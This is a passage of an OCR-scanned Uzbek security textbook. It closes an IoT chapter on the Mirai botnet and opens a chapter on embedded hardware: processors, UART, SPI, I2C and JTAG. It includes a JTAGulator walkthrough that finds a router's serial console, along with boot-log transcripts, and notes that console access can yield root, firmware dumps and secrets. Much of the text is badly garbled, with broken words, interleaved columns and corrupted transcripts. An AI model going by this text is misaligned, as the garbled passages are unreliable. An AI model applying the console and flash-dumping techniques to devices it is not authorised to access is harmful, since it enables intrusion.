89




I

IoT qurtlari (worms): bu vaqt masalasi
2016-yilning oxirida, xakerlar internet jurnalisti Brian Krebsdan norozi bo*lib.
uni katta targatilgan xizmatni rad etish (DDoS) hujumi orqali o*chirib qo*yishdi.
DDoS hujumlari keng tarqalgan holat bo‘Isa-da. bu hujumning usuli yangilik edi.
Tarixda birinchi marta, hujumda loT qurilmalari, xususan. kameralardan foydala-
nildi. Bundan tashgari, DDoS hujumlari odatda aks sado beruvchi turdagi hujum-
lar bo*lib, hujumchilar oddiy buyruq so‘rovini talab qiluvchi protokollarni ishla-
tib, hujumni kuchaytirishga urinishadi va katta javob beradi. Bu holatda esa. oddiy
so‘rovlar, millionlab infektsiyalangan xostlardan kelgan, taxminan 665 Gbps tra-
fikni ishlab chigaruvchi oddiy so‘rovlar bo‘ldi va bu avvalgi rekordni deyarli ikki
barobar oshirdi. '
Hujumni amalga oshirayotgan tomonda, xakerlar standart parolga ega inter-
netga ulangan kameralarni topdilar. Mirai deb atalgan shifrlovchi dastur. 201 1-vil-
dagi anime seriyasidan nom olgan, 60 dan ortiq turli ishlab chigaruvchilar tm;w-
nidan berilgan standart parollar ro“yxatini ishlatib, internetda mavjud kameralar
b-il_an kirishdi. Mira? shifrlovehi dasturi AQSh Pochtasi va Mudofaa Departamen-
tining IP manzillaridan qochishga harakat qildi, lekin boshqa barcha manzillar
0°ziga magqsad qilib oldi.
Krebsning veb-sayti joylashgan serverlar hec
di. DDoS hujumlariga garshi himoya qilish uchu
ting xizmatidan ham yordam olishdi, lekin ular
Mirai shifrlovchi dasturi boshqa foydalanuvchil
gat : -oqibat, ko‘plab nusxalari paydo bo‘lib, Mirai

variantlari ko‘paydi. Manba kodi chiqarilgandan s0‘ng, infektsiyatangan xostlar

soni 493,000 ga yaqin ikki barobar oshdj Ushbu yoz ;
: . . uvda, o =
riantlari mavjud bo‘lgan. Yozuvda, 60 dan ortiq Mirai va

Hujumchilar endi faqat standart parollarni tek
lovchi dasturi esa millionlab onlayn kameralarni

h ganday imkoniyatga ega emas-
n mashhur bo*lgan Akamai xos-
u bilan bog*lanishni to*xtatdilar.
arga ham zarba berdi. o*sha payt-

Tahdidlardan saqlanish uchun oldini
olish usullari:

ko°rib chigilgach, onlayn
bepul gidiruv tizim-

atlaf mavjud. Shodan kabj

g ismyip.com yoki shunga
silini aniglash uchun www.whatismyip.com lari. biznes
Oz uy [P manzilin ¢ ot i Shuningdek, oila a'zolari.

shz .

0'xshash xizmatlardan foydalar illarini ham aniqlash muhimdir. BLE
hamkorlari yoki tanishlarning IP mar:im aronidan taqdim etilgan JoT skaneri qim-
o g, |Guard tom avjud qurilma-
o*shimcha ravishda. Bul . oio0i ckanerlash va mav)
(") g g e ;izmat uyingizni sk - ilmalar xavf-
matli manbalardan biridir: bu X arayoni. quri

‘ hj
..o a Ushbu skanerlas b i :
larni aniglash imkoniyatini er?d]"f:Jiiliarni aniqlashda foydali bo*lishi mumkin.
NI e .nsial zai
Sizligini ta’minlash va potensia

WP uhim ahamiyatga
e i ko‘rishda m
. vfsizlik choralarin
Bu ma’lumotlar. kelajakda xavsizli
a’lumotlar. kelaja
Cga.

Xulosa r sonining ko‘payishi

urilmala .

e Ulangan 9 v l® L : fov-

Ushbu bobda buyumlar mt;rr;t,u;_lﬂT ekosistemasini tashkil etadi va ular foy
) : ar [0

: inchalik, 10T quril-
Muhokama gilindi. Ushbu qurilma ida ahamiyalgd _e'j‘—za‘-}iaelfllitl] qilindi. Nihoyat.
dalanadigan tarmogq P"OIOk?" g uzmllz:ming ta’siri haqida fikr
Malarini aniglashea ixtisoslashg *lishi va u
Muqarrar 1:112«;1:(15 loT qurtilarini b
k= b

r 1 ¥ ili lChl.ln

z ilar va tash-
C ; : ¢ Fo dalanuvchi -
UShbl.l bﬂhﬂl 4] qlb bo lg h 7arllfligi aniq bo iédll'\_avij \-atal'l‘clmi kama}’thh
\l rola 2 - ; 1, O'I-IS o I'ISIa ) -y . i a
iii]l-“hlmq m)-)-mgarlllk' L himoya qilish va i or bo*lishlari lozim. Bu, loT mu
Hotlar 0*z qurilmalarini )

; R ini
Uchun jlg*or xavfsizlik chomlaqu muhim @
55 S y gt e
h”'“inu xavfsizligini ta minlas

hgan Shodan
=
ng paydo

Qo‘shimcha manbalar

bladeRF “"\\’w.nuand.con‘l/ L
anilgan 202 -

FO)’?(;‘ I?;;:igaTumri al_Introduction

hp/Guidect_

ial GRC. .
hp/Guided__?Egzil-GNU Radio_in_Python
d_Tutorial ONU_
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20-BOB. O‘RNATILGAN TIZIMLAR TAI

Ushbu bob quyidagi mavzularni o*z ichiga oladi:
* Protsessor

* Ketma-ket interfeyslar

* Debug interfeyslari

* Dasturiy ta’minot

Ushbu bob o*rnatilgan qurilmalarga u
potensial xavfli sohalarni tushunish uch
O‘rnatilgan qurilmalar — by muayyan ehtiy
zifani bajaruvchi elektr yoki elektro-mexani
lik tizimlari, tarmoq yonaltiruvchilari va k
ochgichlari, aglli termostatlar, boshqariladig
qurilmalarni keltirish mumkin. Ularning mas
gani sayin, bu qurilmalar nafaqat qulaylik y
moqlar orqali hayotga kirib kelish im konini ham beradj.

Bobdagi asosiy muhokamalar integral sxemalar (IS) atro
kichik paket ichidagi elektr komponentlar to*plami bo‘lib, ko
tanilgan. Oddiy misol sifatida to‘rtta 2-kirishli OR mantiqiy
unda to"rtta 2-kirishli OR zanjirlari bitta chip ic
esa [Slar ancha murakkab bo‘ladi va bitta IS icl
ni 0°z ichiga oladi. Bundan tashqari, bu bob o+

Jirlarining asosiy tushunchalari (masalan, kuc}
tanish ekanligini taxmin giladi,

hida ko*plab hi
quvchidan mu|
1lanish, tok, qa

CPU
Ko*pchilikka tanish bo‘lgan ish stolj tizimlaridan farqli
tizimlar dunyosi 0‘rnatilgan funksionallik, talap qilinadigan
narx, quvvat sarfi, ishlash va boshga omill
turalaridan foydalanadi. Ofrnatilgan tizim|

Va apparat talablarining uyg- unlashuyj qo

Barchaga tanish bo*lgan ish stolj tizj
lar dunyosida turli xi)

‘llanilad;.

mlarida;
protsessor arxitekturas;

: nlanadi. O*mati
aniq belgilangan funksiyalarga eg B

lablarini osonroq o‘Ichash

92 >

a bo‘lgani
imkoninj beradi.

-

ILILI

numiy nuqtayi nazarni taqdim etadi va
un zarur bo*lgan atamalarni tanishtiradi.
ojni qondiruvchi yoki cheklangan va-
k qurilmalardir. Misol uchun, xavfsiz-
ommutatorlari, kameralar, garaj eshik
gan chiroglar va mobil telefonlar kabi
ofadan ulanish imkoniyatlari kengay-
aratadi. balki tajovuzkorlar uchun tar-

fida bo*ladi. IS — bu
pincha chip sifatida
ISni olish mumkin,

hida amalga oshiriladi. Bu holatda

soblash elementlari-
timetr va elektr zan-
rshilik va yer) bilan

o'laroq, o*rnatilgan

protsessor arxitek-

ar aniqroq vazifalarni bajarishi sababli.

1 farqli o*laroq, o*rnatilgan tizim-
: e - qo*llaniladi. Bu arxitektura o*rnatil-
gan ﬁmksrona_lllk, tizimning talab qilingan murakkabligi, narx energiya iste’mo-
li, samaradorlik va boshqa omillar asosida ta ;

gan tizimlar odatda

sababli, ular o°zlarining ishlash ta-
Shunday gilib, mos mikroprotsessor,

Vit

T
.

- Siat - dasturiy va apparat
mikrokontroller yoki System on Chip (SoC)'ni tanlash uchun Y

vositalar talablarining mosligini ta'minlaydi.

Mikroprotsessor ‘ W ——

: A cotirasi mavju : -

Mikroprotsessorlarda ichki xotira yoxd fiasml;lel‘:{riislqlaslﬁlan foydalanishi

roprotsessorlar katta hajmdagi xotira va ma lun?oh ‘ tushirishi mumkin. Oddiy

= ; g i ishea .

; : L tsion tizimlarni i1shg : _ st

5 LT bl TGk Bpte e b i urilmaning namunasidir.
kompyuter mikroprotsessor dizaynidan foydalanadigan g

- llerlar
Mlkrokontlrﬂ keng tarqalgan. Mikrokontroller
O-rnatilgan tizimlarda mikrokontroller erosi (:oki vadhrolari)_. xotira, tezkor
P . otsessor ya ~maradorliei bilan oddiy yoki
atds da joylashgan pr radorligi bilan oddiy )
23:?[?\2't[[fOCh:}]:)'llaf]it;a ega. Mikrokontroller p?ft Sl?ltTil:imlar uchun juda mos ke-
3 : £d Lo . . o
aniq belni[anfan dasturlarni bajaradigan 0 mactildziliui tufayli mikrokontroller das-
S SHSE TR ilmalarning soddallg et iladi va
. - va ao°shimcha qurilma S . h tilllarida yozi
:‘:d'l- e qglzlr] I\'oki C kabi quyi dargjadag! Sasit;llzli:r uchun elektron eshik
N aocp / ” *1, »
Oprl O?a'ldd i (OS:) o'z ichiga olmaydi. Mll}r? O-I;ol bo‘la oladi.
Cratsion tizimni o Jerish pulti mi .
qulfi levizorning masofadan boéhqm s himoya gilishga yordam beradi-
Jiva televize £ ”;:ma qarab. ilovalarni d tur saglash uchun o*qish
axsus mikrokontroliergd 4e L an. das ;
. Maxsus m'l.\m 12 go*llanilishi nunnlula.‘f\ﬂa.S a.l faollashishini o*chirish. Ushbu
ﬁa“ apparatda himoy E]lqd oi debugging interfeysint | lasa-da, ularni chetlab o‘tish
imovalas ~hip ichidag S uani ta’minlasa-da,
cllmo} - V|z1 thp-I[ :m darajadagi himoyan! L
0ra-tadbirlar ma’lu =

Mumkin emasligiga kafolat yo'd: =
— System on Chi '
Chipdagi Tizim (S0C = SV00 a mikroprotsessor yadrolari

- i bir necht g
yok e Clllllpl(asig-)lib ular bitta integral mikrosxem
OKi mikrokontrollerlar :

fon uchun SoCgra-
: t funkSiyaiarig_a eg.a- Masa:'?;]; ;)ellfki (XBB), mobil va
li Mtegratsiyalashgan appara. sessori, xotirani ];;oshf:ia fzalligi-bu kichik chiplar
fik protsessor (GPU), ovoz [?10 Zladi. SoC-ning asosty @ Zaali‘_:s'araia’tlami kamay-
tarmoq kontrollerni 0-? mhl-%:digﬂ“ kichikrog dasturlar ';:‘i?lrasi chek!angan bo*lsa,
l\fa individual ravishda1 :sllilijsldasmrni o‘zida saqlasa va X
rish. Agar mikrokontro

0 ()(1 . .'

arxitektumlari N——
jy protsessorlar At =L IC kabi ko'plab 1
Umﬁmiﬁrgla) 68hcll va erc:zl:glg Jangn quillnalatde
ite] 8051, Freescal(lf (M:])mvjud bo“lsa-daﬁ‘;a MIPS. Protsessor arxitek-
"okontroller arxitekturalar!

algan, ular:
tkkita arxitektura ancha keng e

. i S p(}ﬂcnt-
| i X al ¥ ki llrchﬂ om
X i mg ﬂ}ssﬂfly'l l.
. ier .’ b
'8 'St n ‘hip (SOC) Lﬂ!l‘lpyl Q

lapii: v < »ma
“1I0i birlashtirgan integral sxem
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turasini bilish disassamblerlar, dasturlarni yaratish vositalari va debugger kabi vo-
sitalardan foydalanishda muhim ahamiyatga ega. Protsessor arxitekturasini odatda
platani vizual tekshirish va protsessorni topish orqali amalga oshiriladi.

ARM arxitekturasi, Texas Instruments. Apple. Samsung va boshqalar kabi
ko*plab mikroprotsessorlar, mikrokontrollerlar va SoC ishlab chiqaruvchilari to-
monidan qo‘llaniladigan litsenziyalangan arxitektura hisoblanadi. ARM yadrolari
mo‘ljallangan dasturga garab bir nechta toifalarda litsenziyalangan. ARM yad-
rolari 32 va 64 bitli arxitekturada mavjud va ularni katta yoki kichik baytlarni

saqlash tartibida sozlash mumkin. 20.1-jadvalda odatda ulardan foydalanadigan
toifalar va ilovalar ko‘rsatilgan.

20. 1-jadval.
Tutqgich profillari
Profil Tavsifi
llova Toifalarning eng kuchlisi. Unin
siyati XBB mavjudligi bo*lib,
sion tizimlarni ishga tushirish
Linux va Android.

Amaliy misol

8 asosly o'ziga xos xusu- Mobil telefonlar
uko'p funksiyali operat-

\ Planshetlar
ga imkon beradi, masalan

Prefikslar

Real vaqt Real vaqt rejimida ishlash Xususiyatlarini talab qila-

cal \ cal v " Tarmoq routerlari va
rejimida digan ilovalar uchun mo ljallangan. Jayob berishning switchlari Kameralar
kechikishi va xotira himoyasini taqdim etadi. lekin XBB | Avtomobillar

mavjud emas,

e
Sanoat boshqaruy
tizimlari, Avtomatlas-
htirilgan chiroqglar

Mikrokont- | Yuqori o*lcham va ishlash tala

blariga €ga o'rnatilgan
roller tizimlar uchun mo*ljallangan.

past o*lcham va ishlash

roadcom, Cavium va
arga ega va big yoki
uqtalari va kichik uy

2 va 64 bitlj versiyal
. Bu simsiz ulanish n
ng tarqalgan.

little-endian rejimida ishlashj mumkin
routerlari kabi tarmoq qurilmalarida ke

. Serial interfeyslar
Bunday interfeys aloqa kana

inda i orqali bir vaqtning o‘zida bir bitni ketma-ket
ufze-uadr.. Bl_r vaqtning o‘z'ida faqat bitta bit uzatilganligi sababli, kamroq PIN talab
qilinadi chipda. Paralle] interfeysdan farqli o‘laroq, bir vaqtning o‘zida bir nechta

94

-

g ‘rnatilgan
bitlarni uzatishda ko*prog PIN talab qilinadi (bit uchun bitta PIN). O‘rnatilga

g co°rib chigilgan, Ketma-ket peri-
asinxron transmitter qabul giluvchisini (UART) kg g

ircuit (12 otokoli.
ferik interfeys (KPI) va Inter-Integrated-Circuit (12C) pr

UART ‘
s _ikki ilmaga aloqga kanali orqa-
Universal asenkron transmitter protqkaIl - 11&!\13 Aql}l{?lrlilj:solgaqulanish 5l
li ketma-ket ma’lumot almashish imkonini beradi. g
a= s

; ¢ ila oladi. Aksariyat quril-
ishlatiladji rilma bilan o‘zaro aloga qil e ek e
ishlatiladi, shunda odam qu il iterfevemavjuilbo

: ish uchun . 2L

malarda ketma-ket ma’lumot aln‘!a]sllli]"slimvdan o‘tkazishda foydalanilgan ichki

oy ; ‘s iqish ve ichki ketma-ket inter-
ko*pchilik qurilmani ishlab chigi it men ichki ketm
imcI:-[L‘:\lL[:qq;;: Qurilmalarni sinovdan {-)tkaZ11Sal:!dElE:1 konsollari aniglangan.
feys] 'dib‘ t:m.iﬁkalsiva qilingan va tanlqlaml ta PIN kerak bo‘ladi va odatda

) ”S:\E_?U . ‘Iumml'l'rini almashish uchun uchia
: ma ¢

i i dlar
agi yorliglar, bular pa
0 rtta pinli euruh sifatida keladi (ZO.I-rE;sm?. E:Ztlzghvzamr ki dpimey
s : $ 'di va ularni a : by
okl handaelas ilangan bo lma} g~ - alib ko‘rsatllgan oty i
;Ol? e Ia!\l l{"i‘i‘ic.{ aloga uchun tanlov 51fz.1t1.da}aai ek /i oy
aderlar ke Fie n tanl ;
Pzd]l:rld'l.r]firm:&]uvi har doim oddiy bo Imasligi
adlarning joylas

lashishgan bo"ladi.

. - 1 H'-':‘,' """". i
.é;!‘l to ritalik

_ ket portlar UbiquitiER-X
20.1-rasm. Belgilanma

guruh ketma-

y sababi tizim foy(!allanu?r-
tlarni topishga U!'ll'll'_i'.hdlr_
ri kirish huquqini bler-
nsol foydalanuvchiga

h va ulashning asos!
k bo‘lgan ma’lumo har
miga to‘g'ridan-t0'g
mdagi ketma-ket €0

i gidiris
Ichki ketma-ket P"fﬂamil;qli kera

Chisi uchun mavjud bo‘Imasits

asalan, veb-interfeys ©

; . 08
Maydi, ammo Linux-ga as

tda fayl tizin
& langan Bzt




fayl tizimiga kirish I;u s ;
qugqini beradi. Agar k
bo‘lsa, ‘b beradi. Agar ketma-ket port ¢ S leateiva il
da) o (Cak Rl ey o agarii (s ims) JGAT tebvg oor 3ocdeet
qilinishi kerak boc')l azr_m}l(samlash yoki autentifikatsiyani chel]abéo!)t(')l;] :\’Ol‘daml-
ishlab chigilgan .ITAGL] etma«k_el pgdlami aniqlash uchun Jo G l; > har.a kel
ST e sl ulator ka-bl vositadan signallarni qayta ishl rand tomonidan
Quyida JTIRE L:m()ﬂar tezligini aniqlash uchun foyda}l 115 L?Sh va padlarning
ulator yordamida belgil aniladi.
da ko‘rsatilgan Ubiquiti elgilangan kontaktlar anj s
t — . raniglanean 20 1- _
keltirilgan, Quyid quiti ER-x-da UART identifikatsiya ol o 20.1-rasm
e 1. uyida kerakli gadamlar keltirilgan: ya testini o‘tkazish misoll
. To*lovni tekshi ‘ :
halar yoki xulosalar irg'c'mdz}n so'ng, UART bo‘lishi mumkin deb o*
cursiitangntigtt ‘Oplladl. (Platada ikkitadan to*ritae Geby ylaganisariey-
selis Fg k1:gm1 ko' rish yaxshi belgidir, lekin yy agacha PIN/pinni bir-biriga
; P].;n ?mn?] pinlar bilan aralashtirilishi mgm??n)da aytib o°tilganidek, ular
4 ani multimetr bi S y in).
. o oo r.bllan tekshirish yoki icni aniglash :
< P 1?13 'ol:gah]?aqsadlikuch]anish animag e va uning texnik paspor-
: ! nishi uchun slot topj adi,
mumkin bo‘] i PN pish (masalan, i :
boriladi Agaf?nna!:;lun];ar !0 rtasida qarshilik (ollm)ﬁiss?lscs}: Slﬁll) s AL
G slot va so‘ral o ash orqgali o'lcl ib
bo*lsa, bu pinni e alayotgan pin ortasid qali o*lchov ol
. bu pinni slot sifatida foydalanish Sy asida deyarli 0 ohm qarshilik

4. Headerlarni topileani i
pilganidan keyin, plataning JTAGulatoro lash
ga ulash mumkin.

yoki plataga header o*rnatilib ulanadi

-

& Ay

5. JTAGulator dasturiy ta'minotini versiyasi tekshiriladi. Quyidagi manzil-

d_agl }iOd hltps://gilhub.com/grandideastudiofjtagulator/.relizlar. Agar versiya eng
yangi bo'lmasa. quyidagi korsatmalarga amal qilish kerakwww.youtube.com/.

\\"alch‘?\:zx]x“,.y_“,eG M.
6. UART rejimini yoqing va magsadl
7. Uart identifikatsiya testi ishga tushiriladi®.

8. Muvaflaqiyatli bajarilganda. vagonni qaytarish.
o'giladigan matn © (I-timers (q) sinxronizatsiyast).
‘lumotlar tezligi bilan ishga tushirish

9. Ma'lumotlarni uzatish rejimida ma
oraali . * adi
rqali tanlangan sozlamalarni tekshiriladi.

i kuchlanishni © ga o'rnatiladi.

satrlarni tarjima gilish yoki

< .. Omitted ASCHART ...=
”i,h_(””u (0 JTAG ulator: Press '}'-‘J"ﬁ}r (I'I.‘.{If!ﬂbf{' cnmmands.
Warning: Use of this tool may affect target syStem bebaprior!
5 ’
Targer Interfaces:
JITAG
U UART
G GPIO
SSwp
({L'Jrr.*rcr! Commands:
V-Set target /0 voltage
! Display version information
H Display available commands
i
JTAGulator FW 1.11
Designed by Joe Grand, Gran
Main: jtagulator.com ; ”
Source; github.com'g andideastudioJIa8 ulator
Support: 11'1;11'._.05:;1:,’!(1\'.c'rm:.-*’suppm"'
(2
OUART> v
Current target 10 voltage:
Enter new target 1/0 voltage (1.
New target /0 voltage sel: 3.3 '
Ensure vADJ is NOT connected 10 14! get
OUART> u 15 perspective
UART pin naming is from t he target™s P spf’; ex) -[C R]:
Enter text string 10 output {p!'i-fﬁ-f with ff)f 12
Enter starting channel [0]
Enter ending channel [ 1]: 1
Are any pins already known? [y/NF o
Iiossible permutations: 2 ;
i'-_"-' er text string to outpul (prefix b sponse (i1
Enter delay before checking Jor targe! rc;:"
jon? [VNI: N

Ignoy. X ters? [V’N
e non- e characlers: L.
on-printabl 5 Pg;-mlf!a!

B"‘i”g channels LOW hefore edc

d ldea Studio, e

Undefined
2.3.3 0for off): 3.3

W for hex) [CR]:
h v Jo s, 0 - 1000) [10]: 0

_



= £ loga
1. ketma-ket konsol bilan o°zaro al
- konsol bilan tiklash odatda _]le'a
o uchun yuklash xabarlari-

Press spacebar to begin (any other key to abor)...

Test muvaffagiyatli bo‘lgandan key
JTAGulating! Press any key to abort...

ishi : : cetma-ket
bo‘lishi kerak. Qurilmani ulangan ketma

: o ags : in. shunin
;ﬁg-? oson. Matn bu yerga kiritish uchun juda uzun.
G A ning parchalari keltirilgan:

Data: hXZ...c)..H.0B [ 68 FC 58 54 ES 9E C9 63 29 DD 04 DC 48 84 6F 42 |
TXD: 0

RXD: }

Baud: 14400

Data: .MV {....c [C3 10 5E 56 FA E70E DB 7 y 8
cscoh B7BCBBAC3 IB EF 89 63 ]
RXD: ]

Baud: 19200

Data: ..N...9. #( [E4 19 80 4E . . ;

e A 1995 1D D8 1F39805F23C6 28 947
RXD: 1

Baud: 288500

Data: .L.gg. .N...1.Y [ID4COC 1367
TXD: 0

RXD: 1

Baud: 31250

Data: ..?C.8...~0..3.. [B3133F4
TXD: 0

RXD: 1

Baud: 38400

Data: K.y..)JA#.C(r [ DE 4B y

e [ F5CB79boop C429471 23
RXD: 1

Baud: 57600

©Data: I-timers(q) sync [ 6 2D 74
i q) sync [ 6C D74696D657273287!2920?3796[-.‘63}

RXD: 1
Baud: 76800
Data: . [ 0C ]

67 AD B9 4E 0C 0C 9F 31 D6 BD 59 ]

3BD 24 B3 13 E3 7F 30 03 BD 33 B4 (3 /

2E4328C372]

UART scan complete.
QUART=> p

Note: UART pin naming is # ’ ,
Enter X to disable eﬂhi p,f;:,o;zgﬁ:;;_ge’ ARSI
Enter TXD pin [0]:

Enter RXD pin [1]:

@Lnter baud rate [0]: 5 7600

Enable local echo? [y/N]: y

Entering UART passthrough! Presg cyrl.x 1o exit

Welcome to FdgeOS ubnt S|
By logging in, accessing, oy using the Ubiquiti product, you
ac;ﬁwmn-'ledge that you have read gng understood the Ubr uiti
License Agreement (available in the e Ul at, by def; .-?
http://192.168.1.1) and agr ol

€ 1o be bound by its terms.

By -

~ Protsessor-MT-7621A (MIPS):

« 10 MT7530 Mode)
ASIC MT76214 DualCore (MAC to MT753

= U-Boot orqali qayta dasturlash:

Please ¢hoose the operation:
1: Load system code 10 S'DR'.?J
2! Load system code then write
3: Boot svstem code via Flash (default).

£: Enter ‘hH ot command line fl:l'ff.’!_'ﬁ{t‘e- Flash via Serial.
7: Load Boot Loader code then wrire :Z Flash via TF TP default: 3

A i ) ! '”l‘-’
9: Load Boot Loader code then !

fvia TFTT.
10 Flash via TF TP,

<ivasi o‘rnatilgan:
inux OS 3.10 14-UBNT yersiyast 0
= Unda Linux OS 3.10. o

Linux version 3.10.14- UBN

; . o b ’.S

T (root@ -cdgeo.s'-bm!dw ) (gee ve
25 P

2002 11.1) ) #1 SMP Mon Nov 2

i ‘ordam beradi:
MTD b ‘l'miqri saglash sxemasini tushunishga ¥
- O HITH é
MT7 BI-N.AND":
Creating 7 MTD partitions 0" .-1,;]7 : ?'ALL” |
n,\-unUmmnrmnrm-n.\-nﬂr)mgﬁaf){)ﬂ o A e’
Ox00000000( HJ(JU-J’).\'U(JH(J(a‘(mSﬂﬂﬂg "Co_;!ﬁg"
().\‘f)()()(}(}()fh's‘f)ﬂ()ﬂ-f}.\‘ﬂﬂf?ﬂﬁﬂf}eﬂﬂgﬂ .. ) )
f).\'{J()O()(NJl'h.'f){)ﬁﬂ-ﬂ.\:n’")ﬂﬂﬁﬂ} J(Jf;ﬂﬂ mel”
rJ_\-(Jr){){m(J!4r’Jﬂﬁﬂ-ﬂ.ﬂ)()ﬂ(}(N)-f-m:'q gt
0X000000440000-0x000000740

-" S”
0 R()HIF
0x000000740000-0x000 ”"ﬁzf? .
[mtk_nand] probe successfully: ioylashgan tizim bilan aloga o°r-

ga ulanish va JOY& Esda tutish kerak bo‘lgan

: , padlar riladi _ k.
" Joylashuv a11lqlf1!1gﬂci’abpi vositada _C:ilﬁ' Bus Pirate’ni R.X (qabul qilish)
lish ychun Bus Pirate (uzatish) P! X piniga ulanadi

asos;j X ilmaning : -ket port-
pi 3 PAma = qun-lmaRXTJ *ilari urilmada yogilgan . v i
'Niga va qurilmaning . Kabi, ba'z1lar q

R Iga kirish orqali
i . i Biroq, konso e e
JTAG interfeysida bo ,lgatn ermasligi mumquf;-rib olishi, vositalami © rnatishi

Iaming jiddiyligiga ahlamlyai Kkkilik fayllarni chiqari® qilishni osonlashti-

. b hujum
Yovuzkor konfiguratsiya Va‘ilmalarf',a masofadan turl
V2 ushbuy turdagi barcha qU7 i
< 0Q

. 11 mumkin.
"digan global sirlarni tOPIS" -



SPI (Serial Peripheral Interface)
Ketma-ket periferik interfeys (KPI) — bu o*rnatilgan tizimlarda mashhur bol-
gan 10°liq dupleks sinxron ketma-ket interfeys. UART dan farqli o*laroq. SPI
ikki yoki undan ortiq qurilmalar o‘rtasida aloga o*rnatish uchun mo-ljallangan.
SP1 - bu o*rmatilgan tizimdagi chiplar orasidagi aloga uchun ishlatiladigan qisqa
masofali protokol. Protokol “birlamchi/ikkilamchi™ arxitekturasidan foydalanadi
eng oddiy shaklda SPI aloga qilish uchun to‘rtta pinni talab qiladi. bu esa uni
UART bilan bir qatorga qo‘yadi, lekin tezrog ma’lumot almashish (masofa hisobi-
ga). Shuni ta’kidlash kerakki, API standartlashtirilmagan. 5 va har bir qurilmaning
aniq xatti-harakatlarini aniglash uchun texnik tavsiflarga murojaat gilish kerak.
To'rtta PIN quyidagicha joylashtirilgan:
— Sck ketma-ket soat generatori:
— MOSI birlamchi chigishi ikkilamchi kirish;
— MISO birlamchi kirish ikkilamchi chiqishi:
— S8 yoki CS ikkilamchi/chipni tanlash
uchun yetakchi qurilmadan chigish).

Bir nechta ikkilamchi qurilmalari bo‘lgan tizimlarda asosiy qurilma odat-
da har bir go‘l qurilmasiga maxsus chip selektori yordamida ;nuroiaat giladi.
Q.o"shimcha chip selektorlari tufayli bu ko*proq PIN/treklarni talab qiladi va
t|'21m l?arxini oshiradi. Masalan, ushbu konﬁguratsiyadagi uchta ikkilamchi qu-
rllmas'l bo*lgan tizim mikrokontrollerda oltita pinni talab qiladi (20.3-rasm).

Bir nechta ikkilamchi qurilmalarini boshqarishning yana bir keng tarqal-

gan kOI?ﬁguratsi.yasi bu zanjirli ulanish (daisy chain) hisoblanadi 20.4-rasmda
ko rsatilgan zanjirli ulanish konfiguratsiyasi odatda birlamchi

ma’lumot qabul qilishi shart bo‘lmagan holatlarda. masalan
yoki juda ko‘p ikkilamchi qurilmalari mavjud bo;lgan ;
Bunda I-chipning chigish portj 2-chipning kirish porti
va bu ulanish shu tarzda davom etib ketishi sababli, ma

a chiplar soniga bog‘lig bo

(ikkilamchi manzilga murojaat gilish

(asosiy) qurilma
LED qurilmalari
tizimlarda ishlatiladi.
ga ulanganligi sababli
ster qurilma va kerakli
“lgan kechikish yuzaga

kirishdir. Bus Pirate va flashrom (yoki si?mmly oo Mokl e
EEPROM yoki flesh qurilma tarkibin; olis
lik tahlil gilinib, fayl tiziminj an;
ishlatiladi.

Nga o'xshash vositalar) yordamida

| h mumkin, Olingan tarkib keyincha-
qlash va maxfiy ma’lumotlarni qidirish uchun

SPl

SCK | SCK Slave 1
o m———r
SPl MISO \Li;
Master 51
Cs2 e
— sck SR
s MOSI Slave 2
MISO
CS
SP1
—» SCK Slave 3
L—»{ MOSI -~ ’
| IMISO
L ———»(CS

20.3-rasm. SPI individual bilan uch chipli konfiguratsivada chip selektorlari
I=FASHL. .

_ SPl
SCK ¥
MOSI Slave 1
MISO

SS

|-

Et I\dosl Slave 2
MISO
5S

P
arfsck P )
| MOsI Slave.
MISO
PSS
yordamida uch chipli konfiguratsiyada

20.4-rasm. SPI romashka zanjiri

I’C
i Bi izim). I-kvadrat-C deb talaf-
kilﬂlT‘ECll’; Blig‘a]:hugs?;?\lfza k())'p ikkilamchili, p.aket-
Zllad]"d'u Bu SPI protokoliga qaraganda S('?ka'OCll
e 1'ikita pinni ishlatadi va har bir ikkilamchi
- I°C ham taxtadagi mikrosxefnalar. ora-
lekin u kabellar orqali ham ishlatilishi

y spetsifikatsiya hisoblanadi.
< 101

Inter-Integrated-Circuit (Ik
fuz gilinadi va I°C shaklida Y0
lashtirilgan ketma-ket aloga pro i
ishlaydi, ammo uchta pin © I-nﬁlggPI kabi,
Uchun chip tanlashni qo*shadi. hlatiladi,
sidagj qisqa masofalar uchun 1513(3 rasmi
Mumkin, SPI’dan fargli 0'1aro%

B R




Bir nechta asosiy qo‘llab-
olmaydi va bir vaqtning o*zid
bilan aloga o*rnatish uchun m
bir nechta ma’lumot paketlari uzatila

* SCL: Seriyali Soat Signali

* SDA: Seriyali Ma’lumot Signali

20.5-rasmda SDA pinining ikki tomonlama v
miy ekanligi ko‘rsatilgan. Bundan tashqari, SCI,
olgan etakchi qurilma tomonidan boshqariladj.

SPI sjr;gari, 12C odatda EEPROM yok;j NVRAM (uchuvchan bo*Imagan ta-
sodifiy kirish xotirasi) bilan aloga qilish uchun ishlatiladi. Bus Pirate kabi biror
narsadan foydalanib, oflayn tahlil qilish uchun tarkibnj tiklash yokj yangi qiymat-

quvvatlangan bo‘lsa-da. y
a shinalardan foydalana olmay

di. Ikkita pin quyidagicha ishlatiladi:

chiqishi ma’lumotlar avtobusini

larni yozish mumkin.

spl SCL
Master 1 SDA

B SCL ¢
+_h_, SDA Slaye 2

SPI SCL SCL I’C
Master 2 SDA

SDA Slave 3

20.5-rasm. Ikkita yetakehi va uchta bosh konﬁgumfs;jfaga misol

Debug interfeysiari

Windows yoki Linux’d

a ishlaydigan kompyuterd
batan sodda bo*lsa-da, dast

. a dasturnij debug gilish nis-
uriy

ta’mir?otni tuzatuychi yordamidajarayonga ula-
qiyiniashtiradigan ko‘plab
yoki u yuklanmagan bo‘l-
Monaviy o‘rnatilgan tizim-

chiquvchilar va sinovchila
dasturiy ta’minotnj doimj
ichki IS komponentlariga

chiqarish sanoati sinov, debug.

shqa ko*plab maqsadlar uchun
chiqdi.

Y Xotiraga yozish yva bo
kirish usullarin; ishlab

lar 0*zaro muloqot gila
di. Maxsus qurilma
aster manzil paketi yuboradi, undan keyin bir yoki

a barcha qurilmalar uchun umu-

JTAG
I : roup. J
Birlashgan sinov guruhi (Joint Test Action Group.

i lashtiradigan us .
. 12 sinovdan o*tkazishni oson 1 1abin ads ‘aina
e bIH;OIZ\ECILE.u 1149.1 sifatida standartlashtirildi, lekin (?d}?;dl‘l\ g?:;}n;..be
A |- . - . : 41 avy -
1990-y ’lid usuianadi Dastlab u plata darajasida sinov da.nlo tkazis ek dersiialis
j-I;\G (ik froc til wan‘ bo*lsa-da. uning imkoniyatlari chiplami app )
